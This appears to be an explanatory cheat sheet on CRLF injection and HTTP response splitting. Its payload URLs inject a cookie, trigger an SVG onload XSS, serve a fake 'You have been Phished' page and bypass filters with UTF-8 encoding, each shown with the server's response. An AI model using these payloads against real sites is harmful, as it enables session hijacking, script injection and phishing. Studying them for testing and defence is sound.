CRLF Injection

CRLF – Carriage Return Line Feed

When a browser sends a request to a web server, the web server answers back with a response containing both the HTTP response headers and the actual website content, i.e. the response body. The HTTP headers and the HTML response (the website content) are separated by a specific combination of special characters, namely a carriage return and a line feed. For short they are also known as CRLF.

The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They’re used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows, both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.

A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.

What is the CRLF Injection Vulnerability?

In a CRLF injection vulnerability attack, the attacker inserts both the carriage return and linefeed characters into user input to trick the server, the web application or the user into thinking that an object is terminated and another one has started. As such the CRLF sequences are not malicious characters, however, they can be used for malicious intent, for HTTP response splitting etc.

CRLF – Add a cookie

Requested page

http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue

HTTP Response

Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.net/[INJECTION STARTS HERE]
Set-Cookie: mycookie=myvalue
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block

Requested page

http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e

HTTP Response

HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: <https://example.com/[INJECTION STARTS HERE]
Content-Length:35
X-XSS-Protection:0

23
<svg onload=alert(document.domain)>
0

CRLF – Write HTML

Requested page

http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E

HTTP response

Set-Cookie:en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34

<html>You have been Phished</html>

CRLF – Filter Bypass

Using UTF-8 encoding

%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE

Reminder: